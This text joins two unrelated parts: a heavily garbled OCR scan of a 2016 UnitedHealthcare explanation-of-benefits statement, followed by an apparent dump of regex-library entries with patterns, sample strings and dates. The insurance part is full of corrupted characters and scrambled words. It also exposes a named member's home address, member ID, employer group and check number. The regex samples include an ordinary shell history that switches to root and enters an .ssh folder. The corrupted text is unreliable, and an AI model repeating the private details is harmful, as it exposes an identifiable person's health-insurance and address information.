': _ . ~.-_,-~~rvices that ~ou are not re~ons1tJI~ to i?,Y-• . .'== . ..,. ,. = . . . . =.. . ·-. . --· . j:i • . ; __; %,;.\.; • Your Plan Paid_ · = · . ~I -. -"_ · . . 1T~is is ~he_po~ on_9'} ,~~:~ ~nt bW~~ ~~8~ Vl'3~1e; :~lbt,'JOU~~~"· \n.·, " _ Page 1 of 6 STD-EOB Use this EOB statement as a reference or retain as needed 000001097143422 BC-17588'03'089666-M0-16008-00311-AFUS 12SY UnitedHealthcaretmA-ci..,,C..,,..,., United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTERPO BOX 740809 January 08, 2016 ATLANTA.,, GA 3037 4-0802 Phone: 1-o00-638--8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to ("')Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE INNE.lWORK IN NETWORK Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $4,967.50 $5,032.50 Out of Pocket $5,000.00 $5,000.00 Met OUT OF NETWOR~ ­ .. ~~,:. .;: i·. --Deductible $2,800.00 $247.01 $2,552.99 Deductible $1,400.00 $247.01 $1,152.99 Out of Pocket $15,000.00 $247.01 $14,752.99 Out of Pocket $7.500.00 $247.01 $7,252.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as or this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 BC,17586"03'089667-M0-16008-60311-AFUS 1'JS'f UnitedHealthcare 0 ,A__,.....,c.r....,. 0 "" s::: United HealthCare Services;.. Inc. m January 08, 2016 GREENSBORO SERVICE 1.,;ENTER 0 PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? I0Phone: 1-o00-638-8884 Visit www.myuhc.com 0 0 for all your claim and benefit information. 0 ! ~ Austin, TX 78714 a, Toll-free telephone: 1-800-252-3439 "' Web site: www.texashealthoptions.com E-mail: [email protected] Ifwe continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networi< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (fiist name, last name, member ID, group number and date of birth). Maintaining the pnvacy and security-of•individualsLpersonaHnformation is-very importanU o~us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique maividuaridentifier on-UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed 12/01/2015 ADJUSTMENT Claim Total: N3 $0.00 $0.00 $0.00 $1.00 $1.00 $0.00 $0.00 $0.00 $0.00 Notes* -rhls total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. BC-17586"02'089668-M0-16006-60311-AFUS 12SY flO United.Healthcare fl A-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER January 08, 2016 PO BOX 740809 ATLANTA.._ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: PHARMACY Claim Number: 324424538901 Your Itemized Res onsibilit to Provider-* Date(s) of Type of Service Notes* Amount Plan Amo..int You Service Billed (-) Discounts Deductible (+) Copay (+) Coins,.irance (-t-) Non Covered (=) Owe N3 -YOU ARE RECEIVING THIS REIMBURSEMENT AS A RESULT OF A RECENT REVIEW OF YOUR COMBINED PHARMACY AND MEDICAL DEDUCTIBLE OR OUT OF POCKET MAXIMUM. PLEASE CONTACT MEMBER SERVICES IF YOU HAVE ANY QUESTIONS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-86&-444-EBSA (3272). If your plffffffffssssssan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000000875439820 BC-17586•0 089665-MO-16008-60311-AFUS 12S'1' United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 008MEOBSB0001003· 16595-02 Janual)' 08, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits St~tement This is not a bill. Do not pay. This is to notify you tttat we processed your claim. Claims SummJry Detailed claim information is located of the following page(s). I~ -r Dollar Amount'! Desclilptlon '1' i% ":I'~. ·. ,, ',,,.-.=;.-;-> . ' ,"-I ;, i ,:.: •' l,,.:. ; •!-~::-,. ;:·•j•·;:•.;:,~, ' ~.,.,..jr;'.:,;;l,~~hT, ·j':i;Wf ~:;-;:_~'.f,,::.,;-·+·1~ ­ . I ' .I I I ' I ... · '.. • I I I. t ! t .. . -~~ . ~---: .!.~. I ', . ..-..r~--' li. . . AmQunt Billed :.. -.. . . ~-, ! _ . . ..-~ •1·? :·,, .. $0.00 This fs the total amount that your provider billed ,for the seJ\lices tl'lat were provided to you. • , . . I Pia" Discounts . . I. ;. ..,, . . . ,. :· __:_i:.~};i~f,_-·'. ,,..:;!-_!~: $0,0? Your.plan qegotl~.t~.•~i~oounts w,llh proviaers ,to: save.~~1mon,Y,.; This1,amou~t n:iay,also lnclu~~, 1r if, 1 service$ that·you a~ not responsi~e to pay.' , ,' J ,. · -, .. '.· · • : , · , ·\ • T 11!1 ~-!: ..:ic!~J.'. ', .. ·-~-· 1 ··-·-·· , Your Piao f,1~1d , , , , . . ,. ·. __,, ,. ; ;, • , , ., 1 1 1 ~' . ·.,:.1t1~~·-i ·!L1 .$1.00 · Thfs is .~hei'portio~ efilt,he.~n;qunt-bUled that-~as p'.i~.by·~ur pla,n. : • J;-:_ 1 7 --· -~-. ·=· Total amount you 'owe th&-providir(s) . --. • I """'."'" -~ . , =-----, • .. ·,..-..=,-•,·-····--·-'--~.,cc, : ·:-::-~ -· -~ fr The. portlon:9f-lhe·Amour.itBilled you o.wir the.provider(s):~This~a'mounr,-~oes ·not ~fl~any,~·~ :·· · -$0;00· pa)Tneot·you may·have already-made·atthe timetu reciri98d care. This~amount may·mdude·your..,, · .. , _. deductlble;-co-pay~ coinsurance ana/or OO-:l cove charges. This amounl'does not include any -­., .. ,•,~.::-,,;-, . .:;, 1, !··1··'."'if:~·payr;dents-m,ade:tb :1~ ~~l?,S'cribeJ'\rr,lf.:~ p~ymerjlf~ as~m~~e.di#.IY to 'the su~cribeT,iJ~Wil~~:t,--"';'::.::." · -. ·· subscribei: is.r:esponsible-tor.paying:the ph~ciaoi1•fadlity,o r other~health:care·prof~sklna1:-,.;;~-~-·,: • When coordination of,be_neflts applies,.this amo;unt wilUnclude-paymer,ts made to the subscriber . . Page 3 of 6 STD-EOB Use this EOB statement as a reference f r retain as needed 00000087!;439820 United HealthCare Services,,_ Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Phone: 1-800-638-8884 BC-17586•01 "089684-M0-10008-60311-AFUS 12SY UnitedHealthcare ~ A Uritl!IDiee!th ~r.on,ia,y Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 08, 2016 This Page Is Left Blank Intentionally STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 6 000000875439820 United HealthCare Services..l. Inc. GREENSBORO SERVICE 1,.;ENTER PO BOX 7 40809 ATLANTA, GA 30374-0802 Have more questions about your claim? Phone: 1-800-638-8884 Visit www.myuhc.com for all your claim and benefit information. 008MEOBSB0001003-16595-01 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 January 08, 2016 Member lnfonnatjon Member: JEFFREY DAMUKAITIS Member ID: A838199653 Group Name: RAYTHEON COMPANY Group #: 0201 057 Check #: PG 14930238 Check Amount: $1.00 This is not a bill. Do not pay. This is to notify you triat we processed your claim. _ Patient Name Date(s) of Amount Paid to __Claim.Details ' ...J ' Service Member , JEFFREY OAMUKAITIS (EE) 12/01/2015-$1.00 Patient Claim details are included on subsequent pages. . ' Total•• $1.00 Ji ' . ,r.'. ,:~i?: • : I HI· . > l ,·1 ~ •...:,....;_ ...,j~;;-:-· STD-EOB Use this EOB statement as a reference Jretain as needed Page 1 of 6 000000875439820 Please be sure to cash or deposit the ~nclosed check
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2015-07-10T04:10:59.000Z
^\(\s*[0-9]+\)\[[a-zA-Z0-9\s:]*\|\s*[0-9]{1,5}\:[0-9]{3}\s*(?:\[[0-9]{1,3}\:[0-9]{1,3}\])?\]\{[0-9]{1,4}\}[a-zA-Z0-9\s:@\/~]+\(?:.+\)[\$|#]\s{1}(?<!\n)(.+)$
( 8)[Thu Sep 01 09:44:38| 0:000]{157}jhyland@jhmac:~(✓)$ whoami ( 8)[Thu Sep 01 09:44:42| 0:000]{158}jhyland@jhmac:~(✓)$ uptime ( 8)[Thu Sep 01 09:44:45| 1:000]{159}jhyland@jhmac:~(✓)$ pwd Documents/scripts/ ( 8)[Thu Sep 01 09:44:51| 1:000]{160}jhyland@jhmac:~(✓)$ false ( 8)[Thu Sep 01 09:44:54| 0:000]{161}jhyland@jhmac:~(123)$ d ( 8)[Thu Sep 01 09:44:38| 0:000]{157}jhyland@jhmac:~(✓)$ whoami ( 8)[Thu Sep 01 09:44:42| 0:000]{158}jhyland@jhmac:~(✓)$ uptime ( 8)[Thu Sep 01 09:44:45| 1:000]{159}jhyland@jhmac:~(✓)$ pwd Documents/scripts/ ( 8)[Thu Sep 01 09:44:51| 1:000]{160}jhyland@jhmac:~(✓)$ false ( 8)[Thu Sep 01 09:44:54| 0:000]{161}jhyland@jhmac:~(0)$ ( 7)[Thu Sep 01 09:17:30| 1:000]{1}jhyland@jhmac:~(✓)$ man idk ( 7)[Thu Sep 01 09:17:32| 2:000]{2}jhyland@jhmac:~(0)$ man file ( 7)[Thu Sep 01 09:50:51| 1998:000 [00:33]]{3}jhyland@jhmac:~(✓)$ ( 7)[Thu Sep 01 09:54:08| 0:000]{1}jhyland@jhmac:~(✓)$ . ~/.bash_profile ( 7)[Thu Sep 01 09:54:14| 0:000]{2}jhyland@jhmac:~(✓)$ return_code ( 7)[Thu Sep 01 09:54:17| 0:000]{3}jhyland@jhmac:~(0)$ sudo su - ( 7)[Thu Sep 01 10:05:49| 0:000]{1}root@jhmac:~(✓)# whoami ( 7)[Thu Sep 01 10:06:24| 0:000]{2}root@jhmac:~(✓)# cd ~ ( 7)[Thu Sep 01 10:06:29| 0:000]{3}root@jhmac:~(✓)# cd /tmp ( 7)[Thu Sep 01 09:54:08| 0:000]{1}jhyland@jhmac:~(✓)$ . ~/.bash_profile ( 7)[Thu Sep 01 09:54:14| 0:000]{2}jhyland@jhmac:~(✓)$ return_code ( 7)[Thu Sep 01 09:54:17| 0:000]{3}jhyland@jhmac:~(0)$ sudo su - ( 7)[Thu Sep 01 10:05:49| 0:000]{1}root@jhmac:~(✓)# whoami ( 7)[Thu Sep 01 10:06:24| 0:000]{2}root@jhmac:~(✓)# cd ~ ( 7)[Thu Sep 01 10:06:29| 0:000]{3}root@jhmac:~(✓)# cd /tmp ( 7)[Thu Sep 01 10:06:33| 0:000]{4}root@jhmac:/tmp(✓)# cd ~/.ssh/ ( 7)[Thu Sep 01 10:15:35| 0:000]{5}root@jhmac:~/.ssh(✓)# exit ( 7)[Thu Sep 01 10:15:39| 591:000 [00:09]]{4}jhyland@jhmac:~(✓)$ cd Documents/scripts/javascript/ ( 7)[Thu Sep 01 10:15:44| 0:000]{5}jhyland@jhmac:~/Documents/scripts/javascript(✓)$ ls
Match PS1 & Cmd - Extract Cmd
2016-09-01T23:57:46.000Z
Look ahead Positive(?=) Find expression A where expression B follows A(?=B) Look behind Positive(?<=) Find expression A where expression B precedes (?<=B)A
(?<=than\s)better(?=\sabsolutely)
Imperfection is beauty, madness is genius and it’s than better to be absolutely ridiculous than better absolutely boring
Positive Look ahead and Look Behind
2016-03-06T15:43:39.000Z
Log parser from SMDR protocol
(\d{2})\/(\d{2})\/(\d{2})\s+(\d{2}):(\d{2})\s+([\d]+)\s+([\d]+|)\s+(<I>|)(EXT|)([\w]+|)(\s+|)((\d{1})'(\d{2})|)(\s+|)((\d{2}):(\d{2})'(\d{2})\s+(.*) |)
01/02/16 09:37 1142 01 2286542PPPPPP9131874263 00:00'24 01/02/16 09:37 1204 48 2181 00:01'33 01/02/16 09:37 1221 33 <I>3342 0'00 00:01'25 TR 01/02/16 09:38 1232 02 2286542PPPPPP9082035024 00:00'12 01/02/16 09:39 1711 EXT1132 01/02/16 09:39 1232 01 2286542PPPPPP9082035024 00:00'02 01/02/16 09:39 5910 11 <I> 0'01 00:00'37 D0 01/02/16 09:39 1602 EXT1611 01/02/16 09:39 1332 EXT1204 01/02/16 09:40 1222 34 <I>3933 0'02 00:00'14 01/02/16 09:40 1232 EXT1393 01/02/16 09:41 1262 EXT1154 03/02/16 16:11 2181 EXT2421 03/02/16 16:13 2181 05 89509600795 00:00'47 03/02/16 16:13 2314 24 1242 00:00'08 03/02/16 15:07 2162 05 <I> 0'00 00:00'15 TR 03/02/16 15:09 2004 05 <I> 0'05 00:00'50 03/02/16 15:11 2004 05 <I> 0'38 00:00'00 NA 03/02/16 15:12 2004 06 <I> 0'11 00:00'26 03/02/16 15:16 2004 05 <I> 0'04 00:01'02 03/02/16 15:18 2181 17 <I>1396 0'04 00:12'23 03/02/16 15:20 2151 07 89020100016 00:00'17 03/02/16 15:21 2004 24 1132 00:00'24 TR 03/02/16 15:21 2004 05 <I> 0'05 00:01'37 03/02/16 15:21 2151 07 89509668727 00:00'22 03/02/16 15:23 2151 05 89020116661 00:00'20 01/02/16 09:31 5910 11 <I> 0'01 00:00'24 D0 01/02/16 09:31 1221 33 <I>4351 0'00 00:04'55 TR 01/02/16 09:31 5910 03 <I>89831514875 0'01 00:00'14 D0 01/02/16 09:32 1204 11 <I> 0'00 00:00'45 TR 01/02/16 09:32 1125 03 <I>89831514875 0'00 00:00'16 TR 01/02/16 09:32 5910 03 <I>89831514875 0'01 00:00'13 D0 01/02/16 09:32 5910 09 <I> 0'01 00:00'10 D0
Panasonic TDA, TDE Log parser
2016-02-11T01:44:50.000Z
Match all Hyperlinks
<a\s[^>]*href=(\"??)(http[^\" >]*?)\\1[^>]*>(.*)<\/a>
<a href="mailto:[email protected]">hi me</a>
HTML hyperlinks
2016-04-16T16:40:58.000Z
Matches a decimal, but only allows for leading/tailing Zeros if they are the first digit to precede or follow the decimal point
^(?:[1-9]\d*?|0)?(?:\.(?:\d*?[1-9]|0))?(?<=[\d])$
1.6 .16 16 0.6 01.6 0. 0 0.0 .0 .01 .001 1.60 100 100.0001 601.10 601.119201 1.0
Match Decimal allow single leading/tailing 0
2018-08-08T17:54:59.000Z
^((?:\b[A-Z]+\b\s+)+)(?:.*)(\d{8})
TEST TESTER Hello, world. Another word here. 75793250
Séparer une phrase en 3 partie
2019-10-01T19:08:20.000Z
name\[(?<policy_name>[\w\.\-\d\s]+)\]uuid\[(?<uuid>[\w\d\.\-\s]+)\]srcintf\[(?<source_interface>[\w\.\-\s\d]+)\]dstintf\[(?<destination_interface>[\w\d\-\.\s]+)\]srcaddr\[(?<source_address>[\w\d\.\-\s]+)\]dstaddr\[(?<destination_address>[\w\d\.\-\s]+)\]action\[(?<policy_action>\w+)\]schedule\[(?<policy_schedule>[\w\d\s\.\-]+)\]service\[(?<policy_services>[\w\s\.\d\-]+)\](utm-status\[(?<utm_status>[\w\s\.\-\d]+)\])?logtraffic\[(?<log_traffic>[\d\w\s\.\-]+)\]ippool\[(?<pool_status>[\s\w\d\.\-]+)\]poolname\[(?<pool_name>[\w\s\d\.\-]+)\](profile-protocol-options\[(?<protocol_options>[\w\s\d\.\-]+)\]ssl-ssh-profile\[(?<ssl_ssh_profile>[\w\d\.\s\-]+)\]ips-sensor\[(?<ips_sensor>[\w\d\s\.\-]+)\])?nat\[(?<nat_status>[\w\d\s\.\-]+)\]
name[BDC-OMNIChannel-Server-OUT]uuid[260b133c-6dfc-51eb-d0a5-eff41f9c9cea]srcintf[INT-To-CoreWAN TO-FG3700-DC-IC]dstintf[SERVICE-INT-OUTSIDE]srcaddr[Omni-Channel-Testbed]dstaddr[all]action[accept]schedule[always]service[DNS HTTP HTTPS PING]utm-status[enable]logtraffic[all]ippool[enable]poolname[INTERNET-SERVICES-OUTBOUND-POOL]profile-protocol-options[default]ssl-ssh-profile[certificate-inspection]ips-sensor[high_security]nat[enable]
cfgattr
2021-02-14T09:14:50.000Z
Simple tel regex
^([0][\d]{1})(?:[.]|[ ]){1}([\d]{2})(?:[.]|[ ]){1}([\d]{2})(?:[.]|[ ]){1}([\d]{2})(?:[.]|[ ]){1}([\d]{2})|(\d{10})$
06.61.49.89.65 06 61 49 89 65 0661468965
Tel
2015-11-18T16:23:49.000Z
For example: /foldera/folderb/filename.txt?query=abc Result: /foldera/folderb/
^([a-z]:|\/[a-z0-9_.$●-]+\/[a-z0-9_.$●-]+)?((?:\/|^)(?:[^\/:*?"<>|\r\n]+\/)+)
/foldera/folderb/filename.txt?lkjh=sdrgh
Selects full path without filename or query parameter
2016-09-23T07:28:51.000Z
[A-Z]+[a-z]{1,2}[0-9]*
[A-Z]+[a-z]{1,2}[0-9]*
2014-03-11T13:57:33.000Z
A\d{8}\.\d{4}\+\d{4}-\d{4}\+\d{4}_.*+
A20160220.0000+0100-0015+0100_ABAI_LTE.xml A20160220.0000+0100-0100+0100_ABAI_LTE.xml A20160220.0015+0100-0030+0100_ABAI_LTE.xml A20160220.0030+0100-0045+0100_ABAI_LTE.xml A20160220.0045+0100-0100+0100_ABAI_LTE.xml A20160220.0100+0100-0115+0100_ABAI_LTE.xml A20160220.0100+0100-0200+0100_ABAI_LTE.xml A20160220.0115+0100-0130+0100_ABAI_LTE.xml A20160220.0130+0100-0145+0100_ABAI_LTE.xml A20160220.0145+0100-0200+0100_ABAI_LTE.xml A20160220.0200+0100-0215+0100_ABAI_LTE.xml A20160220.0200+0100-0300+0100_ABAI_LTE.xml A20160220.0215+0100-0230+0100_ABAI_LTE.xml A20160220.0230+0100-0245+0100_ABAI_LTE.xml A20160220.0245+0100-0300+0100_ABAI_LTE.xml A20160220.0300+0100-0315+0100_ABAI_LTE.xml A20160220.0300+0100-0400+0100_ABAI_LTE.xml A20160220.0315+0100-0330+0100_ABAI_LTE.xml A20160220.0330+0100-0345+0100_ABAI_LTE.xml A20160220.0345+0100-0400+0100_ABAI_LTE.xml A20160220.0400+0100-0415+0100_ABAI_LTE.xml A20160220.0400+0100-0500+0100_ABAI_LTE.xml A20160220.0415+0100-0430+0100_ABAI_LTE.xml A20160220.0430+0100-0445+0100_ABAI_LTE.xml A20160220.0445+0100-0500+0100_ABAI_LTE.xml A20160220.0500+0100-0515+0100_ABAI_LTE.xml A20160220.0500+0100-0600+0100_ABAI_LTE.xml A20160220.0515+0100-0530+0100_ABAI_LTE.xml A20160220.0530+0100-0545+0100_ABAI_LTE.xml A20160220.0545+0100-0600+0100_ABAI_LTE.xml A20160220.0600+0100-0615+0100_ABAI_LTE.xml A20160220.0600+0100-0700+0100_ABAI_LTE.xml A20160220.0615+0100-0630+0100_ABAI_LTE.xml A20160220.0630+0100-0645+0100_ABAI_LTE.xml A20160220.0645+0100-0700+0100_ABAI_LTE.xml A20160220.0700+0100-0715+0100_ABAI_LTE.xml A20160220.0700+0100-0800+0100_ABAI_LTE.xml A20160220.0715+0100-0730+0100_ABAI_LTE.xml A20160220.0730+0100-0745+0100_ABAI_LTE.xml A20160220.0745+0100-0800+0100_ABAI_LTE.xml A20160220.0800+0100-0815+0100_ABAI_LTE.xml A20160220.0800+0100-0900+0100_ABAI_LTE.xml A20160220.0815+0100-0830+0100_ABAI_LTE.xml A20160220.0830+0100-0845+0100_ABAI_LTE.xml A20160220.0845+0100-0900+0100_ABAI_LTE.xml A20160220.0900+0100-0915+0100_ABAI_LTE.xml A20160220.0900+0100-1000+0100_ABAI_LTE.xml A20160220.0915+0100-0930+0100_ABAI_LTE.xml A20160220.0930+0100-0945+0100_ABAI_LTE.xml A20160220.0945+0100-1000+0100_ABAI_LTE.xml A20160220.1000+0100-1015+0100_ABAI_LTE.xml A20160220.1000+0100-1100+0100_ABAI_LTE.xml A20160220.1015+0100-1030+0100_ABAI_LTE.xml A20160220.1030+0100-1045+0100_ABAI_LTE.xml A20160220.1045+0100-1100+0100_ABAI_LTE.xml A20160220.1100+0100-1115+0100_ABAI_LTE.xml A20160220.1100+0100-1200+0100_ABAI_LTE.xml A20160220.1115+0100-1130+0100_ABAI_LTE.xml A20160220.1130+0100-1145+0100_ABAI_LTE.xml A20160220.1145+0100-1200+0100_ABAI_LTE.xml A20160220.1200+0100-1215+0100_ABAI_LTE.xml A20160220.1200+0100-1300+0100_ABAI_LTE.xml A20160220.1215+0100-1230+0100_ABAI_LTE.xml A20160220.1230+0100-1245+0100_ABAI_LTE.xml A20160220.1245+0100-1300+0100_ABAI_LTE.xml A20160220.1300+0100-1315+0100_ABAI_LTE.xml A20160220.1300+0100-1400+0100_ABAI_LTE.xml A20160220.1315+0100-1330+0100_ABAI_LTE.xml A20160220.1330+0100-1345+0100_ABAI_LTE.xml A20160220.1345+0100-1400+0100_ABAI_LTE.xml A20160220.1400+0100-1415+0100_ABAI_LTE.xml A20160220.1400+0100-1500+0100_ABAI_LTE.xml A20160220.1415+0100-1430+0100_ABAI_LTE.xml A20160220.1430+0100-1445+0100_ABAI_LTE.xml A20160220.1445+0100-1500+0100_ABAI_LTE.xml A20160220.1500+0100-1515+0100_ABAI_LTE.xml A20160220.1500+0100-1600+0100_ABAI_LTE.xml A20160220.1515+0100-1530+0100_ABAI_LTE.xml A20160220.1530+0100-1545+0100_ABAI_LTE.xml A20160220.1545+0100-1600+0100_ABAI_LTE.xml A20160220.1600+0100-1615+0100_ABAI_LTE.xml A20160220.1600+0100-1700+0100_ABAI_LTE.xml A20160220.1615+0100-1630+0100_ABAI_LTE.xml A20160220.1630+0100-1645+0100_ABAI_LTE.xml A20160220.1645+0100-1700+0100_ABAI_LTE.xml A20160220.1700+0100-1715+0100_ABAI_LTE.xml A20160220.1700+0100-1800+0100_ABAI_LTE.xml A20160220.1715+0100-1730+0100_ABAI_LTE.xml A20160220.1730+0100-1745+0100_ABAI_LTE.xml A20160220.1745+0100-1800+0100_ABAI_LTE.xml A20160220.1800+0100-1815+0100_ABAI_LTE.xml A20160220.1800+0100-1900+0100_ABAI_LTE.xml A20160220.1815+0100-1830+0100_ABAI_LTE.xml A20160220.1830+0100-1845+0100_ABAI_LTE.xml A20160220.1845+0100-1900+0100_ABAI_LTE.xml A20160220.1900+0100-1915+0100_ABAI_LTE.xml A20160220.1900+0100-2000+0100_ABAI_LTE.xml A20160220.1915+0100-1930+0100_ABAI_LTE.xml A20160220.1930+0100-1945+0100_ABAI_LTE.xml A20160220.1945+0100-2000+0100_ABAI_LTE.xml A20160220.2000+0100-2015+0100_ABAI_LTE.xml A20160220.2000+0100-2100+0100_ABAI_LTE.xml A20160220.2015+0100-2030+0100_ABAI_LTE.xml A20160220.2030+0100-2045+0100_ABAI_LTE.xml A20160220.2045+0100-2100+0100_ABAI_LTE.xml A20160220.2100+0100-2115+0100_ABAI_LTE.xml A20160220.2100+0100-2200+0100_ABAI_LTE.xml A20160220.2115+0100-2130+0100_ABAI_LTE.xml A20160220.2130+0100-2145+0100_ABAI_LTE.xml A20160220.2145+0100-2200+0100_ABAI_LTE.xml A20160220.2200+0100-2215+0100_ABAI_LTE.xml A20160220.2200+0100-2300+0100_ABAI_LTE.xml A20160220.2215+0100-2230+0100_ABAI_LTE.xml A20160220.2230+0100-2245+0100_ABAI_LTE.xml A20160220.2245+0100-2300+0100_ABAI_LTE.xml A20160220.2300+0100-0000+0100_ABAI_LTE.xml A20160220.2300+0100-2315+0100_ABAI_LTE.xml A20160220.2315+0100-2330+0100_ABAI_LTE.xml A20160220.2330+0100-2345+0100_ABAI_LTE.xml A20160220.2345+0100-0000+0100_ABAI_LTE.xml A20160220.0000+0100-0015+0100_ADLI_LTE.xml A20160220.0000+0100-0100+0100_ADLI_LTE.xml A20160220.0015+0100-0030+0100_ADLI_LTE.xml A20160220.0030+0100-0045+0100_ADLI_LTE.xml A20160220.0045+0100-0100+0100_ADLI_LTE.xml A20160220.0100+0100-0115+0100_ADLI_LTE.xml A20160220.0100+0100-0200+0100_ADLI_LTE.xml A20160220.0115+0100-0130+0100_ADLI_LTE.xml A20160220.0130+0100-0145+0100_ADLI_LTE.xml A20160220.0145+0100-0200+0100_ADLI_LTE.xml A20160220.0200+0100-0215+0100_ADLI_LTE.xml A20160220.0200+0100-0300+0100_ADLI_LTE.xml A20160220.0215+0100-0230+0100_ADLI_LTE.xml A20160220.0230+0100-0245+0100_ADLI_LTE.xml A20160220.0245+0100-0300+0100_ADLI_LTE.xml A20160220.0300+0100-0315+0100_ADLI_LTE.xml A20160220.0300+0100-0400+0100_ADLI_LTE.xml A20160220.0315+0100-0330+0100_ADLI_LTE.xml A20160220.0330+0100-0345+0100_ADLI_LTE.xml A20160220.0345+0100-0400+0100_ADLI_LTE.xml A20160220.0400+0100-0415+0100_ADLI_LTE.xml A20160220.0400+0100-0500+0100_ADLI_LTE.xml A20160220.0415+0100-0430+0100_ADLI_LTE.xml A20160220.0430+0100-0445+0100_ADLI_LTE.xml A20160220.0445+0100-0500+0100_ADLI_LTE.xml A20160220.0500+0100-0515+0100_ADLI_LTE.xml A20160220.0500+0100-0600+0100_ADLI_LTE.xml A20160220.0515+0100-0530+0100_ADLI_LTE.xml A20160220.0530+0100-0545+0100_ADLI_LTE.xml A20160220.0545+0100-0600+0100_ADLI_LTE.xml A20160220.0600+0100-0615+0100_ADLI_LTE.xml A20160220.0600+0100-0700+0100_ADLI_LTE.xml A20160220.0615+0100-0630+0100_ADLI_LTE.xml A20160220.0630+0100-0645+0100_ADLI_LTE.xml A20160220.0645+0100-0700+0100_ADLI_LTE.xml A20160220.0700+0100-0715+0100_ADLI_LTE.xml A20160220.0700+0100-0800+0100_ADLI_LTE.xml A20160220.0715+0100-0730+0100_ADLI_LTE.xml A20160220.0730+0100-0745+0100_ADLI_LTE.xml A20160220.0745+0100-0800+0100_ADLI_LTE.xml A20160220.0800+0100-0815+0100_ADLI_LTE.xml A20160220.0800+0100-0900+0100_ADLI_LTE.xml A20160220.0815+0100-0830+0100_ADLI_LTE.xml A20160220.0830+0100-0845+0100_ADLI_LTE.xml A20160220.0845+0100-0900+0100_ADLI_LTE.xml A20160220.0900+0100-0915+0100_ADLI_LTE.xml A20160220.0900+0100-1000+0100_ADLI_LTE.xml A20160220.0915+0100-0930+0100_ADLI_LTE.xml A20160220.0930+0100-0945+0100_ADLI_LTE.xml A20160220.0945+0100-1000+0100_ADLI_LTE.xml A20160220.1000+0100-1015+0100_ADLI_LTE.xml A20160220.1000+0100-1100+0100_ADLI_LTE.xml A20160220.1015+0100-1030+0100_ADLI_LTE.xml A20160220.1030+0100-1045+0100_ADLI_LTE.xml A20160220.1045+0100-1100+0100_ADLI_LTE.xml A20160220.1100+0100-1115+0100_ADLI_LTE.xml A20160220.1100+0100-1200+0100_ADLI_LTE.xml A20160220.1115+0100-1130+0100_ADLI_LTE.xml A20160220.1130+0100-1145+0100_ADLI_LTE.xml A20160220.1145+0100-1200+0100_ADLI_LTE.xml A20160220.1200+0100-1215+0100_ADLI_LTE.xml A20160220.1200+0100-1300+0100_ADLI_LTE.xml A20160220.1215+0100-1230+0100_ADLI_LTE.xml A20160220.1230+0100-1245+0100_ADLI_LTE.xml A20160220.1245+0100-1300+0100_ADLI_LTE.xml A20160220.1300+0100-1315+0100_ADLI_LTE.xml A20160220.1300+0100-1400+0100_ADLI_LTE.xml A20160220.1315+0100-1330+0100_ADLI_LTE.xml A20160220.1330+0100-1345+0100_ADLI_LTE.xml A20160220.1345+0100-1400+0100_ADLI_LTE.xml 